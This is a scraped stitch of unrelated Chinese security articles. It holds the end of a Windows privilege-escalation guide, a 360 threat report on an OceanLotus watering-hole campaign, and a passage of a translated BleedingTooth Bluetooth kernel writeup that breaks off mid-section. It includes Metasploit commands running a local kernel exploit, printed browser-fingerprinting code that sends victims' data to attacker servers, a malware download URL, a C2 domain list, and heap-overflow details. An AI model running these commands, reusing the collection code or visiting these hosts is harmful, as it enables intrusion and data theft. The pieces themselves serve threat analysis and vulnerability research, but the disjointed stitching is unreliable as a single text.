MS05-039 | KB899588 | Win 9X/ME/NT/2000/XP/2003
MS03-026 | KB823980 | NT/2000/XP/2003
### Microsoft Security Bulletin Data
Microsoft安全公告数据
<https://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982>
### Windows Exploit Suggester
<https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html>
漏洞利用检查脚本，将目标补丁程序与Microsoft安全公告数据进行比较，以检测目标上可能缺少的补丁程序。
首先我们利用systeminfo命令将目标系统信息输出到txt文件中
systeminfo > wininfo.txt
下载到我们本地，利用脚本检查
python windows-exploit-suggester.py --database 2020-02-17-mssb.xls --systeminfo windows.txt
### CobaltStrike
CobaltStrike权限提升模块
<https://github.com/rsmudge/ElevateKit>
下载后在CobaltStrike加载脚本
在CobaltStrike中选择目标使用
返回SYSTEM权限
### Metasploit
run post/windows/gather/enum_patches #查看补丁信息
background
search MS10-015
use exploit/windows/local/ms10_015_kitrap0d
set session 1
run
这个模块默认就六条数据，大家可以自定义添加 | 社区文章 |
# 【APT报告】海莲花（OceanLotus）APT团伙新活动通告（11月10日更新）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360威胁情报中心 && 360CERT**
**文档信息**
****
****
**通告背景**
****
2017 年 11 月 6 日，国外安全公司发布了一篇据称海莲花 APT 团伙新活动的报告，360 威胁情报中心对其进行了分析和影响面评估，提供处置建议。
**事件概要**
****
****
**事件描述**
****
2017年11月6日，国外安全公司Volexity发布了一篇关于疑似海莲花APT团伙新活动的报告，该报告指出攻击团伙攻击了与政府、军事、人权、媒体和国家石油勘探等有关的个人和组织的100多个网站。通过针对性的JavaScript脚本进行信息收集，修改网页视图，配合社会工程学诱导受害人点击安装恶意软件或者登陆钓鱼页面，以进行下一步的攻击渗透。
**事件时间线**
****
2017 年 11 月 6 日 Volexity 公司发布了据称海莲花新活动的报告。
2017 年 11 月 7 日 360 威胁情报中心发现确认部分攻击并作出响应。
**影响面和危害分析**
****
攻击者团伙入侵目标用户可能访问的网站，不仅破坏网站的安全性，还会收集所访问用户的系统信息。如果确认感兴趣的目标，则会执行进一步的钓鱼攻击获取敏感账号信息或尝试植入恶意程序进行秘密控制。
基于360网络研究院的数据，访问过攻击者设置的信息收集恶意站点有可能被获取自身主机信息的用户数量在十万级别，造成较大的敏感信息泄露，而这些用户中的极少数被诱骗下载执行恶意代码从而植入后门。
目前360威胁情报中心确认部分网站受到了影响， **建议用户，特别是政府及大型企业结合附件提供的IOC信息对自身系统进行检查处理。**
**处置建议**
****
1\. 网站管理员检查自己网站页面是否被植入了恶意链接，如发现，清理被控制的网站中嵌 入的恶意代码，并排查内部网络的用户是否被植入了恶意程序。
2\. 电脑安装防病毒安全软件，确认规则升级到最新。
**技术分析**
****
**JavaScript分析**
**执行步骤**
攻击者通过水坑攻击将恶意JavaScript代码植入到合法网站，收集用户浏览器指纹信息，修改网页视图诱骗用户登陆钓鱼页面、安装下载恶意软件。
大致的执行步骤是首先JavaScript脚本根据基础信息，引用到指定版本的恶意jQuery
JavaScript文件进一步收集信息后获取新的JavaScript
Payload。此Payload是大量的基础的函数以及更详尽的设备信息收集，同时还通过WebRTC获得真实IP地址。发送信息到通信地址加载新的
JavaScript Payload，此Payload进一步信息收集或者产生后续攻击变换。
**探针一**
**http://45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?s=1 &v=86462**
jquery的最下面有个eval
核心获取传输数据部分如下：
var browser_hash = 'b0da8bd67938a5cf22e0-37cea33014-iGJHVcEXbp';
var data = { 'browserhash': browserhash, 'type': 'Extended Browser Info', 'action': 'replace', 'name': 'WebRTC', 'value': array2json(window.listIP).replace(/"/g, '"'), 'log': 'Receiced WebRTC data from client {client}.' };
var data = { 'browserhash': browserhash, 'type': 'Extended Browser Info', 'name': 'Browser Plugins', 'action': 'replace', 'value': array2json(plugins).replace(/"/g, '"'), 'log': 'Receiced Browser Plugins data from client {client}.' };
var info = { 'Screen': screen.width + ' x ' + screen.height, 'Window Size': window.outerWidth + ' x ' + window.outerHeight, 'Language': navigator.language, 'Cookie
Enabled': (navigator.cookieEnabled) ? 'Yes' : 'No', 'Java Enabled': (navigator.javaEnabled()) ? 'Yes' : 'No' };
var data = { 'browserhash': browserhash, 'type': 'Extended Browser Info', 'name': 'Extended Browser Info', 'action': 'replace', 'value': array2json(info).replace(/"/g, '"'), 'log': 'Receiced Extended Browser Info data from client {client}.' };
**探针二**
获取数据部分，用于字符串处理，校对时区，收集swf、express、activex、flash以及插入swf
传送数据相关的代码
发送的内容如下
'{"history":{"client_title":"",
"client_url":"https://www.google.co.kr/_/chrome/newtab?espv=2&ie=UTF-8",
"client_cookie":"SID=TQUtor57TAERNu6GqnR4pjxikT_fUFRYJg0WDuQR6DLPYP79ng8b20xLV45BALRr9EP0ig.;
APISID=czIiWPC84XzsPhi7/AEXqM7jJZBOCVK4NB;
SAPISID=EukztCzcUbvlcTe3/A0h8Z8oQR86VGPTf_;
UULE=a+cm9sZToxIHByb2R1Y2VyOjEyIHByb3ZlbmFuY2U6NiB0aW1lc3RhbXA6MTUxMDA1Mzg3NDY1OTAwMCBsYXRsbmd7bGF0aXR1ZGVfZTc6Mzk5ODE5MzY5IGxvbmdpdHVkZV9lNzoxMTY0ODQ5ODQ5fSByYWRpdXM6MzM0ODA=;
1P_JAR=2017-11-8-2",
"client_hash":"",
"client_referrer":"",
"client_platform_ua":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
"client_time":"2017-11-08T03:40:25.641Z",
"client_network_ip_list":["10.17.52.196"],
"timezone":"Asia/Shanghai"}}'
**数据传输地址**
****
**探针一**
接受数据 **//45.32.105.45/icon.jpg?v=86462 &d={data} **
根据参数下发
**payload //45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?
&v=86462&h1={data}&h2={data}&r={data}**
**探针二**
往以下地址 POST 数据,并接受新的 js 并运行
**//ad.jqueryclick.com/117efea9-be70-54f2-9336-893c5a0defa1**
**信息收集列表**
****
浏览器中执行的恶意代码会收集如下这些信息：
****
**浏览器类型**
**浏览器版本**
**浏览器分辨率、DPI**
**CPU类型**
**CPU核心数**
**设备分辨率**
**BuildID**
**系统语言**
**jsHeapSizeLimit**
**screen.colorDepth**
**是否开启Cookie**
**是否开启Java**
**已经加载的插件列表**
**Referrer**
**当前网络IP**
**Cookie**
**定向投递**
完成信息收集之后，攻击者会通过一个白名单过滤感兴趣的用户，如果不是仅仅返回一个时间戳，是则下发相应的JavaScript Payload，执行以下功能：
**以钓鱼的方式骗取攻击目标的Google账号信息**
**欺骗用户安装或更新捆绑了恶意代码的浏览器软件（已知的有IE、Chrome及Firefox）**
以下两个Amazon相关的域名用于存放假浏览器软件（该地址也可用于鱼叉链接）
**dload01.s3.amazonaws.com**
**download-attachments.s3.amazonaws.com**
**二进制样本分析**
****
**Dorpper**
通过关联分析，360威胁情报中心定位到一个相关的恶意样本（ MD5： **eb2b52ed27346962c4b7b26df51ebafa** ）。
样本是一个捆绑了Firefox浏览器的Dropper：
该Dropper中有一个Name为1的大资源：
该资源是加密的，经过调试分析得到解密后的数据如下：
数据结构如下图所示：
经过分析发现该资源数据的数据结构如下：
如下为解密后的Firefox文件（7zS.sfx.exe）和具备自删除功能的程序文件（123.exe）：
正常的Firefox安装截图如下：
执行正常的Firefox后，会先申请一个5个字节的内存空间，用于存放跳转指令，还会再申请一个内存空间存放资源数据中“第一部分代码”的地方，然后计算相对偏移，修改相对地址，跳转过去执行shellcode：
下图为修正的5个字节的跳转的数据：
下图为跳转后的shellcode的入口处，代码里插入了花指令：
Shellcode会从自身提取出来修正前的PE文件的内容，修正后复制到目标内存中，并在内存中执行起来，下图为把复制数据的操作：
下图为复制修正后的PE头数据：
Dump出的PE基本信息如下，
导出模块名为：{103004A5-829C-418E-ACE9-A7615D30E125}.dll：
Dump出的PE（DLL形式的Dropper）中也有一个名为1的资源：
资源的大小为1079KB：
该资源数据使用DES加密：
解密后的数据为拼接到一起的3个文件： **rastlsc.exe、rastls.dll和sylog.bin**
释放的3个文件为典型的白利用过杀软方式，rastlsc.exe文件带有Symantec的签名，此白文件会加载同目录下的rastls.dll，该dll会去解密加载sylog.bin文件并执行：
Dropper执行shellcode后，会把执行自删除功能的文件释放到temp目录的123.exe，把正常的浏览器文件替换掉Dropper后，以Dropper的路径作为参数运行123.exe：
123.exe的功能主要是睡眠一秒后删除命令行传过来的文件，攻击者不通过调用cmd.exe的方式删除自己，估计是为了免杀。
**恶意功能代码**
****
sylog.bin文件在内存中解析后被执行，代码会获取计算机信息生成字符串与 .harinarach.com、.maerferd.com和
.eoneorbin.com拼接成一个完整的域名，连接其25123端口：
成功连接后可以执行如下远控功能：
**1、 文件管理**
**2、 远程shell**
**3、 注册表管理**
**4、 进程管理**
关于远控部分的其他细节，360威胁情报中心将会在后续给出更详细的分析。
**总体流程图**
****
综合上述分析，样本执行流程总结如下：
**关联分析及溯源**
****
360威胁情报中心尝试通过分发JavaScript的恶意域名的WHOIS信息来对本次事件做一些关联分析，一共38个域名，基本上都使用了隐私保护，注册时间则分布于2014年3月至2017年
10月，可见攻击团伙的活动时间之长准备之充分。如下是其中一个域名的注册信息：
从攻击团伙用于C&C通信的域名dload01.s3.amazonaws.com出发，360威胁情报中心发现一个捆绑恶意代码的Firefox浏览器更新文件，该文件就是技术分析部分提到的恶意样本。同时360威胁情报中心还发现了更多的恶意代码，包括Cobalt
Strike生成的Powershell代码以及捆绑在其他浏览器中的恶意样本，这也是海莲花团伙的惯用手法之一，后续360威胁情报中心可能会发布更多相关的恶意代码分析。
**参考资料**
****
[ https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance -and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/](https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance%20-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/)
**更新历史**
****
****
****
**附件**
****
**IOC列表**
**C &C服务器**
dload01.s3.amazonaws.com
download-attachments.s3.amazonaws.com
maerferd.com
harinarach.com
eoneorbin.com
http://dload01.s3.amazonaws.com/b89fdbf4-9f80-11e7-abc4-2209cec278b6b50a/FirefoxInstaller.exe
**分发JavaScript的恶意域名**
a.doulbeclick.org
ad.adthis.org
ad.jqueryclick.com
ad.linksys-analytic.com
ads.alternativeads.net
api.2nd-weibo.com
api.analyticsearch.org
api.baiduusercontent.com
api.disquscore.com
api.fbconnect.net
api.querycore.com
browser-extension.jdfkmiabjpfjacifcmihfdjhpnjpiick.com
cache.akamaihd-d.com
cdn-js.com
cdn.adsfly.co
cdn.disqusapi.com
cloud.corewidget.com
cloudflare-api.com
core.alternativeads.net
cory.ns.webjzcnd.com
d3.advertisingbaidu.com
eclick.analyticsearch.org
google-js.net
google-js.org
google-script.net
googlescripts.com
gs.baidustats.com
health-ray-id.com
hit.asmung.net
jquery.google-script.org
js.ecommer.org
linked.livestreamanalytic.com
linksys-analytic.com
live.webfontupdate.com
s.jscore-group.com
s1.gridsumcontent.com
s1.jqueryclick.com
ssl.security.akamaihd-d.com
stat.cdnanalytic.com
static.livestreamanalytic.com
stats.corewidget.com
stats.widgetapi.com
track-google.com
update.akamaihd-d.com
update.security.akamaihd-d.com
update.webfontupdate.com
upgrade.liveupdateplugins.com
widget.jscore-group.com
wiget.adsfly.co
www.googleuserscontent.org
**曾经被插入过恶意JavaScript的正常网站/URL**
anninhdothi.com
asean.org
atr.asean.org
bacaytruc.com
baocalitoday.com
baotiengdan.com
baovesusong.net
basamnews.info
bdstarlbs.com
bokeo.gov.la
boxitvn.blogspot.com
boxitvn.blogspot.de
boxitvn.blogspot.ro
bshohai.blogspot.com
chanlyonline.com
chatluongvn.tk
chuongtrinhchuyende.com
damau.org
danchimviet.info
dannews.info
ddsvvn.blogspot.com
delivery.adnetwork.vn
demo.mcs.gov.kh
doanhuulong.blogspot.de
ethongluan.org
ethongluan01.blogspot.be
ethongluan01.blogspot.com
frphamlong.blogspot.com
gwhs.i.gov.ph
hongbagai.blogspot.com
hopluu.net
icevn.org
investasean.asean.org
khmerangkor-news.com
laoedaily.com.la
m.baomoi.com
m.suckhoedoisong.vn
machsongmedia.com
mail.dnd.gov.ph
mail.vms.com.vn
mcs.gov.kh
mlobkhmer-news.com
monasri.gov.kh
nationalrescueparty.org
nguoivietboston.com
niptict.edu.kh
nsvancung.com
ntuongthuy.blogspot.com
op-proper.gov.ph
phamnguyentruong.blogspot.com
phiatruoc.info
phongkhamdakhoadanang.com
police.gov.kh
pttpgqt.org
quanvan.net
quyenduocbiet.com
radiodlsn.com
sensoknews.com
sihanoukville.gov.kh
son-trung.blogspot.com
son-trung.blogspot.com.au
suckhoedoisong.vn
tag.gammaplatform.com
tandaiviet.org
thanglongcompany.com
thanhlinh.net
thanhnienconggiao.blogspot.com
thanhnienconggiao.blogspot.com.au
thewenews.com
thsedessapientiae.net
thuvienhoasen.org
thuymyrfi.blogspot.com
thuymyrfi.blogspot.fr
tiengnoividan.blogspot.com
tiengnoividan.blogspot.com.au
tinkhongle.blogspot.com
tinparis.net
truongduynhat.org
truyenhinhcalitoday.com
ukk-news.com
v-card.vn
veto-network.org
vietcatholic.net
vietcatholic.org
vietchonhau.blogspot.co.uk
vietchonhau.blogspot.com
vietfact.com
vnwhr.net
vuhuyduc.blogspot.com
www.afp.mil.ph
www.atgt.vn
www.attapeu.gov.la
www.bacaytruc.com
www.baocalitoday.com
www.baogiaothong.vn
www.baomoi.com
www.baotgm.com
www.blogger.com
www.cdnvqglbhk.org
www.chanlyonline.com
www.clip6s.com
www.cnpc.com.cn
www.cnrp7.org
www.cpp.org.kh
www.damau.info
www.damau.org
www.danchimviet.info
www.diendantheky.net
www.ethongluan.org
www.fia.gov.kh
www.firstcagayan.com
www.icevn.org
www.ijavn.org
www.khmer-note.com
www.khmer-press.com
www.kimlimshop.com
www.kntnews.com
www.leanhhung.com
www.lyhuong.net
www.machsongmedia.com
www.mcs.gov.kh
www.monasri.gov.kh
www.moneaksekar.com
www.mosvy.gov.kh
www.nationalrescueparty.org
www.ndanghung.com
www.necelect.org.kh
www.nguoi-viet.com
www.nguoitieudung.com.vn
www.pac.edu.kh
www.phapluatgiaothong.vn
www.phnompenhpost.com
www.police.gov.kh
www.preynokornews.today
www.quyenduocbiet.com
www.radiodlsn.com
www.siamovies.vn
www.tapchigiaothong.vn
www.tapchinhanquyen.com
www.thanhnientphcm.com
www.tienbo.org
www.tinnhanhne.net
www.trinhanmedia.com
www.tuvanonecoin.net
www.vande.org
www.vietcatholic.net
www.vietnamhumanrightsdefenders.net
www.vietnamthoibao.org
www.vietnamvanhien.net
www.vietthuc.org
xuandienhannom.blogspot.com
xuandienhannom.blogspot.com.au
http://asean.org/modules/aseanmail/js/wp-mailinglist.js
http://asean.org/modules/wordpress-popup/inc/external/wpmu-lib/js/wpmu-ui.3.min.js
http://atr.asean.org/
http://investasean.asean.org/
http://www.afp.mil.ph/modules/mod_js_flexslider/assets/js/jquery.easing.js
http://www.mfa.gov.kh/jwplayer.js
http://www.moe.gov.kh/other/js/jquery/jquery.js
http://www.monasri.gov.kh/wtemplates/monasri_template/js/menu/mega.js
http://www.mosvy.gov.kh/public/js/default.js
http://www.mpwt.gov.la/media/system/js/mootools-core.js
http://www.police.gov.kh/wp-includes/js/jquery/jquery.js | 社区文章 |
本文是翻译文章，文章原作者 Andy Nguyen 文章来源 <https://google.github.io/>
原文地址: <https://google.github.io/security-research/pocs/linux/bleedingtooth/writeup.html#badvibes-heap-based-buffer-overflow-cve-2020-24490>
_BleedingTooth_ 是 Linux
蓝牙子系统里零点击漏洞的一个集合，其可以允许未被授权的远程攻击者在近距离内对存在漏洞的设备以内核权限执行任意代码
## 概述
我注意到网络子系统已经通过 [syzkaller](https://github.com/google/syzkaller)
进行了广泛的模糊测试。但是像蓝牙这样的子系统没有被很好的覆盖。总体而言，对蓝牙主机攻击面的研究似乎相当有限 ——
大部分公开的蓝牙漏洞都只影响[固件](https://www.armis.com/bleedingbit/)或者其本身的[规范](https://knobattack.com/)，并且只允许攻击者窃听和/或操作信息。
但是如果攻击者可以完全控制设备会怎么样？演示这个场景最出名的例子是
[BlueBorne](https://www.armis.com/blueborne/) 和
[BlueFrag](https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/)。我给自己定的目标是研究 Linux
的蓝牙协议栈，拓展 BlueBorne 的发现，并且扩展 syzkaller 去 fuzz `/dev/vhci` 设备。
这篇博文描述了我深入研究代码，发现多个高危漏洞以及最后在 x86-64 Ubuntu 20.04.1 的目标上构造一个成熟的 RCE
漏洞利用链的过程（[Video](https://youtu.be/qPYrLRausSw)）。
### 补丁，严重性和安全公告
Google 直接联系了 [BlueZ](http://www.bluez.org/) 和 Linux 蓝牙子系统维护者（intel），而不是让 Linux
内核安全团队去协调多方响应这一系列漏洞。Intel 随安全公告 [INTEL-SA-00435](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00435.html)发布了补丁，但是在信息披露的时候，此时补丁还没有包含在任何已发布的内核版本中。为了促进沟通，Linux
内核安全团队应该被通知，以后这种类型的漏洞也应该报告给他们。沟通的时间表在文章底部。有关的漏洞补丁分别如下：
* [BadVibes](https://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649)（CVE-2020-24490）在 2020 年 7 月 30 日于主线分支提交时被修复。[commit](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=a2ec905d1e160a33b2e210e45ad30445ef26ce0e)
* [BadChoice](https://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq)（CVE-2020-12352）和 [BadKarma](https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq)（CVE-2020-12351）在 2020 年 9 月 25 日于 bluetooth-next 被修复：commits [1](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=eddb7732119d53400f48a02536a84c509692faa8)，[2](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=f19425641cb2572a33cb074d5e30283720bd4d22)，[3](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=b176dd0ef6afcb3bca24f41d78b0d0b731ec2d08)，[4](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=b560a208cda0297fef6ff85bbfd58a8f0a52a543)
单独来看，这些漏洞的严重性从中危到高危，但是将它们合并在一起就意味着严重的安全风险。本文详细介绍了这些风险。
## 漏洞
让我们简单的描述下蓝牙协议栈。蓝牙芯片使用 HCI（Host Controller Interface）协议与主机（操作系统）通信。常见的封包如下：
* 指令封包 —— 由主机发送给控制器
* 事件封包 —— 由控制器发送给主机以通知事件
* 数据封包 —— 通常传输 L2CAP（逻辑链路控制与适配协议）封包，实现传输层。
像 A2MP（AMP 管理协议）或 SMP（安全管理协议）这样的高级协议都是建立在 L2CAP 之上的。在 Linux
的实现中，所有这些协议都是在没有身份认证的情况下公开的，由于这些协议都存在于内核之中因此相关的漏洞就显得至关重要。
### BadVibes: 基于堆的缓冲区溢出漏洞（CVE-2020-24490）
我通过手动检查 HCI 事件封包解析器发现了第一个漏洞（于 Linux 内核 4.19 引入）。HCI
事件封包由蓝牙芯片精心构造并发出，通常并不能被攻击者所控制（除非他们也能控制蓝牙固件）。然而，有两个非常相似的方法，`hci_le_adv_report_evt()`
和 `hci_le_ext_adv_report_evt()`，作用是解析来自远程设备的播报。这些报告大小不一。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void hci_le_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
u8 num_reports = skb->data[0];
void *ptr = &skb->data[1];
hci_dev_lock(hdev);
while (num_reports--) {
struct hci_ev_le_advertising_info *ev = ptr;
s8 rssi;
if (ev->length <= HCI_MAX_AD_LENGTH) {
rssi = ev->data[ev->length];
process_adv_report(hdev, ev->evt_type, &ev->bdaddr,
ev->bdaddr_type, NULL, 0, rssi,
ev->data, ev->length);
} else {
bt_dev_err(hdev, "Dropping invalid advertising data");
}
ptr += sizeof(*ev) + ev->length + 1;
}
hci_dev_unlock(hdev);
}
...
static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
u8 num_reports = skb->data[0];
void *ptr = &skb->data[1];
hci_dev_lock(hdev);
while (num_reports--) {
struct hci_ev_le_ext_adv_report *ev = ptr;
u8 legacy_evt_type;
u16 evt_type;
evt_type = __le16_to_cpu(ev->evt_type);
legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type);
if (legacy_evt_type != LE_ADV_INVALID) {
process_adv_report(hdev, legacy_evt_type, &ev->bdaddr,
ev->bdaddr_type, NULL, 0, ev->rssi,
ev->data, ev->length);
}
ptr += sizeof(*ev) + ev->length;
}
hci_dev_unlock(hdev);
}
注意两个方法是怎么调用 `process_adv_report()` 的，后者没有检查 `ev->length` 是否小于或等于
`HCI_MAX_AD_LENGTH=31`。函数 `process_adv_report()` 接着会传递事件数据和长度来调用
`store_pending_adv_report()`：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void process_adv_report(struct hci_dev *hdev, u8 type, bdaddr_t *bdaddr,
u8 bdaddr_type, bdaddr_t *direct_addr,
u8 direct_addr_type, s8 rssi, u8 *data, u8 len)
{
...
if (!has_pending_adv_report(hdev)) {
...
if (type == LE_ADV_IND || type == LE_ADV_SCAN_IND) {
store_pending_adv_report(hdev, bdaddr, bdaddr_type,
rssi, flags, data, len);
return;
}
...
}
...
}
最后，`store_pending_adv_report()` 子程序拷贝数据到 `d->last_adv_data` ：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void store_pending_adv_report(struct hci_dev *hdev, bdaddr_t *bdaddr,
u8 bdaddr_type, s8 rssi, u32 flags,
u8 *data, u8 len)
{
struct discovery_state *d = &hdev->discovery;
...
memcpy(d->last_adv_data, data, len);
d->last_adv_data_len = len;
}
观察 `struct hci_dev`，我们可以看到缓冲区 `last_adv_data` 的长度与 `HCI_MAX_AD_LENGTH`
的大小相同，都不足以容纳扩展的广播数据。解析器理论上可以接收最多 255 字节的数据包并将其路由到该方法。如果可能的话，我们可以溢出
`last_adv_data` 并污染成员直到偏移 0xbaf。
// pahole -E -C hci_dev --hex bluetooth.ko
struct hci_dev {
...
struct discovery_state {
...
/* typedef u8 -> __u8 */ unsigned char last_adv_data[31]; /* 0xab0 0x1f */
...
} discovery; /* 0xa68 0x88 */
...
struct list_head {
struct list_head * next; /* 0xb18 0x8 */
struct list_head * prev; /* 0xb20 0x8 */
} mgmt_pending; /* 0xb18 0x10 */
...
/* size: 4264, cachelines: 67, members: 192 */
/* sum members: 4216, holes: 17, sum holes: 48 */
/* paddings: 10, sum paddings: 43 */
/* forced alignments: 1 */
/* last cacheline: 40 bytes */
} __attribute__((__aligned__(8)));
然而，`hci_le_ext_adv_report_evt()`
是否能够接收如此巨大的报告？巨大的播报很可能是预期内的，因为扩展广播解析器似乎有意显式删除了 31 字节的检查。另外，由于它在代码中很接近
`hci_le_adv_report_evt()` ，这检查不太可能被错误的忘记。事实确实如此，查看规范后，我们可以看到从 31 字节扩展到 255
字节是蓝牙五代的一个主要特性：
> 回想起蓝牙 4.0，广播有效载荷最大长度为 31 字节。在蓝牙 5 中，我们通过添加额外的广播信道和新的广播 PDU，将有效载荷增加到了 255 字节。
>
> 来源:<https://www.bluetooth.com/blog/exploring-bluetooth5-whats-new-in-> advertising/>
因此该漏洞只有在受害者机器是蓝牙 5
芯片（这相对来说是一个“新”技术，只有在较新的笔记本上可用）以及受害者积极扫描广播数据（例如打开蓝牙设置并且搜索周围的设备）时才会触发。
使用两台支持蓝牙 5 的设备，我们可以很容易地确认漏洞并且观察到一个 panic报错类似于：
[ 118.490999] general protection fault: 0000 [#1] SMP PTI
[ 118.491006] CPU: 6 PID: 205 Comm: kworker/u17:0 Not tainted 5.4.0-37-generic #41-Ubuntu
[ 118.491008] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[ 118.491034] Workqueue: hci0 hci_rx_work [bluetooth]
[ 118.491056] RIP: 0010:hci_bdaddr_list_lookup+0x1e/0x40 [bluetooth]
[ 118.491060] Code: ff ff e9 26 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8b 07 48 89 e5 48 39 c7 75 0a eb 24 48 8b 00 48 39 f8 74 1c 44 8b 06 <44> 39 40 10 75 ef 44 0f b7 4e 04 66 44 39 48 14 75 e3 38 50 16 75
[ 118.491062] RSP: 0018:ffffbc6a40493c70 EFLAGS: 00010286
[ 118.491066] RAX: 4141414141414141 RBX: 000000000000001b RCX: 0000000000000000
[ 118.491068] RDX: 0000000000000000 RSI: ffff9903e76c100f RDI: ffff9904289d4b28
[ 118.491070] RBP: ffffbc6a40493c70 R08: 0000000093570362 R09: 0000000000000000
[ 118.491072] R10: 0000000000000000 R11: ffff9904344eae38 R12: ffff9904289d4000
[ 118.491074] R13: 0000000000000000 R14: 00000000ffffffa3 R15: ffff9903e76c100f
[ 118.491077] FS: 0000000000000000(0000) GS:ffff990434580000(0000) knlGS:0000000000000000
[ 118.491079] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 118.491081] CR2: 00007feed125a000 CR3: 00000001b860a003 CR4: 00000000003606e0
[ 118.491083] Call Trace:
[ 118.491108] process_adv_report+0x12e/0x560 [bluetooth]
[ 118.491128] hci_le_meta_evt+0x7b2/0xba0 [bluetooth]
[ 118.491134] ? __wake_up_sync_key+0x1e/0x30
[ 118.491140] ? sock_def_readable+0x40/0x70
[ 118.491143] ? __sock_queue_rcv_skb+0x142/0x1f0
[ 118.491162] hci_event_packet+0x1c29/0x2a90 [bluetooth]
[ 118.491186] ? hci_send_to_monitor+0xae/0x120 [bluetooth]
[ 118.491190] ? skb_release_all+0x26/0x30
[ 118.491207] hci_rx_work+0x19b/0x360 [bluetooth]
[ 118.491211] ? __schedule+0x2eb/0x740
[ 118.491217] process_one_work+0x1eb/0x3b0
[ 118.491221] worker_thread+0x4d/0x400
[ 118.491225] kthread+0x104/0x140
[ 118.491229] ? process_one_work+0x3b0/0x3b0
[ 118.491232] ? kthread_park+0x90/0x90
[ 118.491236] ret_from_fork+0x35/0x40
这个报错意味着我们可以完全控制 `struct hci_dev`。一个有趣的可用来污染的指针是 `mgmt_pending->next`，因为它就是
`struct mgmt_pending_cmd` 类型的，其包含了函数指针 `cmd_complete()`：
// pahole -E -C mgmt_pending_cmd --hex bluetooth.ko
struct mgmt_pending_cmd {
...
int (*cmd_complete)(struct mgmt_pending_cmd *, u8); /* 0x38 0x8 */
/* size: 64, cachelines: 1, members: 8 */
/* sum members: 62, holes: 1, sum holes: 2 */
};
举个例子，这个处理例程可以通过中止 HCI 连接来触发。然而，为了能够成功重定向到 `mgmt_pending->next`
指针，我们需要一个额外的信息泄漏漏洞，我们将在下一章节学习这个。
### BadChoice: 基于栈的信息泄漏（CVE-2020-12352）
_BadVibes_ 漏洞还不足以强大到可以转化成任意的 读/写
原语，而且似乎没有办法用它来泄漏受害者的内存布局。原因是，唯一可以被污染破坏的成员指向了循环链表。顾名思义，这些数据结构是循环的，因此我们在没有办法确保它们最终指向它们开始的地方之前，我们无法改变它们。当受害者的内存布局是随机的时候，想要实现漏洞利用就很困难。虽然内核中有一些资源是在静态地址中分配的，但它们的内容很可能是不可控制的。因此，为了能够利用
_BadVibes_ ，我们首先需要对内存布局有一个概念。更具体地说，我们需要泄漏一些受害者的内存地址，其指向的内容我们要能控制或者至少能够预测。
通常来说，信息泄漏是通过越界访问来实现的，使用未初始化的变量或者，最近流行的，通过执行侧信道/时序攻击。后者可能比较难实现，因为传输的过程会有误差。相反，我们聚焦关注一开始的两个有漏洞的类实现，遍历所有的可将信息发送回攻击者的子程序，查看它们之中是否有越界数据或者未初始化的内存存在。
我在分析 `a2mp_send()` 调用的时候在 A2MP 协议的 `A2MP_GETINFO_REQ` 指令中发现了第二个漏洞。这个漏洞在 Linux
内核 3.6 的时候就已经存在了，并且如果 `CONFIG_BT_HS=y` 该漏洞是可利用的，而 `CONFIG_BT_HS` 默认是开启的。
让我们来分析一下被 `A2MP_GETINFO_REQ` 指令调用的子程序 `a2mp_getinfo_req()`：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getinfo_req(struct amp_mgr *mgr, struct sk_buff *skb,
struct a2mp_cmd *hdr)
{
struct a2mp_info_req *req = (void *) skb->data;
...
hdev = hci_dev_get(req->id);
if (!hdev || hdev->dev_type != HCI_AMP) {
struct a2mp_info_rsp rsp;
rsp.id = req->id;
rsp.status = A2MP_STATUS_INVALID_CTRL_ID;
a2mp_send(mgr, A2MP_GETINFO_RSP, hdr->ident, sizeof(rsp),
&rsp);
goto done;
}
...
}
该子程序通过使用 HCI 设备 id 来请求 AMP 控制器的信息。然而，如果设备 id 是无效的或者不是 `HCI_AMP`
类型，错误路径会被提取，意味着受害者机器会发还给我们 status `A2MP_STATUS_INVALID_CTRL_ID`。遗憾的是，`struct
a2mp_info_rsp` 由很多的成员组成而不仅仅是 id 和 status。并且我们可以看到，响应的结构并没有被完全初始化。因此，内核栈的 16
字节可以被攻击者泄漏，其中也许包含了受害者机器的敏感信息。
// pahole -E -C a2mp_info_rsp --hex bluetooth.ko
